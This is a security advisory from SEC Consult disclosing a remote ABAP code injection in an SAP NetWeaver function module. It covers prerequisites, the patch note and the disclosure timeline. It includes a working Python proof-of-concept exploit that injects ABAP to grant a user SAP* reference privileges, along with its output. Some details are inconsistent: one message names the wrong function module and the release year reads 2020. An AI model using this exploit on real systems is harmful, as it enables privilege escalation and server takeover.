SAP Netweaver IUUC_GENERATE_ACPLAN_DELIMITER ABAP Code Injection

2021.12.16
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-94

SEC Consult Vulnerability Lab Security Advisory < 20211214-2 > ============================================================================== title: Remote ABAP Code Injection in IUUC_GENERATE_ACPLAN_DELIMITER product: SAP Netweaver vulnerable version: SAP DMIS in at least 2011_1_731 <= SP 0013 fixed version: see solution section below CVE number: n/a SAP SNote: 3089831 impact: Critical CVSS 3.1 Score: 9.1 CVSS 3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H homepage: https://www.sap.com/ found: 2021-07-23 by: Raschin Tavakoli (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Atos company Europe | Asia | North America https://www.sec-consult.com ============================================================================== Vendor description: ------------------- "SAP SE is a German multinational software corporation based in Walldorf, Baden-Württemberg, that develops enterprise software to manage business operations and customer relations. The company is especially known for its ERP software. SAP is the largest non-American software company by revenue, the world's third-largest publicly-traded software company by revenue, and the largest German company by market capitalization." Source: https://en.wikipedia.org/wiki/SAP Business recommendation: ------------------------ SAP® released the patch (SNote 3089831) and SEC Consult advises all SAP® customers to update their systems immediately. An in-depth security analysis performed by security professionals is highly advised, as the software may be affected from further security issues. Vulnerability overview/description: ----------------------------------- 1. Remote ABAP Code Injection in IUUC_GENERATE_ACPLAN_DELIMITER The function module IUUC_GENERATE_ACPLAN_DELIMITER allows creating and executing ABAP programs in the SAP internal /ILT/* and /1CADMC/* namespace. To do that it creates jobs that can be executed immediately or scheduled for a specific time in the future. An attacker with the authorizations for the function module is able to execute arbitrary code and take over the SAP application server. As the function module is remote enabled, it allows the attack to be performed remotely via RFC. In the majority of cases internal RFC communications are nowadays still found to be unencrypted. This increases the risk that attackers wiretap service account passwords. Once such user is hijacked, the attacker has gained all necessary prerequisites for further attacks as described in this advisory. Attack Prerequisites -------------------- 1. Remote ABAP Code Injection in IUUC_GENERATE_ACPLAN_DELIMITER The user must have at least the following authorization objects: S_DMIS: MBT_PR_ARE: SLOP (SAP Landscape Transformation) ACTVT: 03 (Display) S_BTCH_JOB: JOBACTION: RELE (Release Jobs) Further, authorization to perform function calls (S_RFC) have to be present. Alternatively for local execution, authorization to execute function modules via transaction SE37 would be necessary. Proof of concept: ----------------- 1. Remote ABAP Code Injection in IUUC_GENERATE_ACPLAN_DELIMITER As a proof of concept, a script was created that assigns the reference user SAP* to the attacker using the table REFUSER: * ************************************************************************** * #!/usr/bin/env python3 from pyrfc import Connection import time def print_usref(): conn_highpriv = Connection(ashost="XX.XX.XX.XX", sysnr="00", client="001", user="DEVELOPER", passwd="Sap123456", lang='EN') result = conn_highpriv.call('RFC_READ_TABLE', QUERY_TABLE='USREFUS', FIELDS=['MANDT', 'BNAME', 'REFUSER'], DELIMITER='|' ) column_values = [] for line in result['DATA']: data = line['WA'] if "TEST" in data: print(data) if __name__ == '__main__': mandt = {'000', '001'} # selected for demonstration purpose print("Before: USREFUS WHERE BNAME = 'TEST'") print_usref() conn = Connection(ashost="XX.XX.XX.XX", sysnr="00", client="001", user="TEST", passwd="Sap123456", lang='EN') result = conn.call('IUUC_GENERATE_ACPLAN_DELIMITER', I_REPORTNAME='/1LT/Z_EVIL', I_SCHED_IMMEDIATE='X', IT_CODE=["REPORT /1LT/Z_EVIL.", "UPDATE USREFUS SET REFUSER = 'SAP*' ", "WHERE BNAME = 'TEST'." "COMMIT WORK."] ) print("\nSending payload via IUUC_RECON_RC_COUNT_TABLE_BIG and waiting 5 seconds...\n") time.sleep(5) print("After: USREFUS WHERE BNAME = 'TEST'") print_usref() * ************************************************************************** * Running the code produces the following output: $> IUUC_GENERATE_ACPLAN_DELIMITER_poc.py Before: USREFUS WHERE BNAME = 'TEST' 001|TEST | Sending payload via IUUC_RECON_RC_COUNT_TABLE_BIG and waiting 5 seconds... After: USREFUS WHERE BNAME = 'TEST' 001|TEST |SAP* Vulnerable / tested versions: ----------------------------- This vulnerability has been tested on Netweaver 754 (Release), 0002 (SP-Level), SAP DMIS 2011_1_731, SAPK-11613INDMIS. Vendor contact timeline: ------------------------ 2021-10-20: Initial contact with vendor 2021-10-22: Vendor informs that the discussion has been taken up to the application team 2021-11-11: Vendor informs that issue was also fixed in SAP Note 3089831 2021-11-11: SEC Consult informs Vendor that SAP Note 3089831 fixes the vulnerability but that CVE and SAP Note description is wrong (No SQL Injection but ABAP Injection) 2020-12-14: Coordinated release of security advisory Solution: --------- SEC Consult advises all SAP® customers to implement SAP Security Note 3089831 immediately. Workaround: ----------- See SAP Note 3089831 Advisory URL: ------------- https://sec-consult.com/vulnerability-lab/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult, an Atos company Europe | Asia | North America About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an Atos company. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://sec-consult.com/career/ Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://sec-consult.com/contact/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF Raschin Tavakoli / @2021


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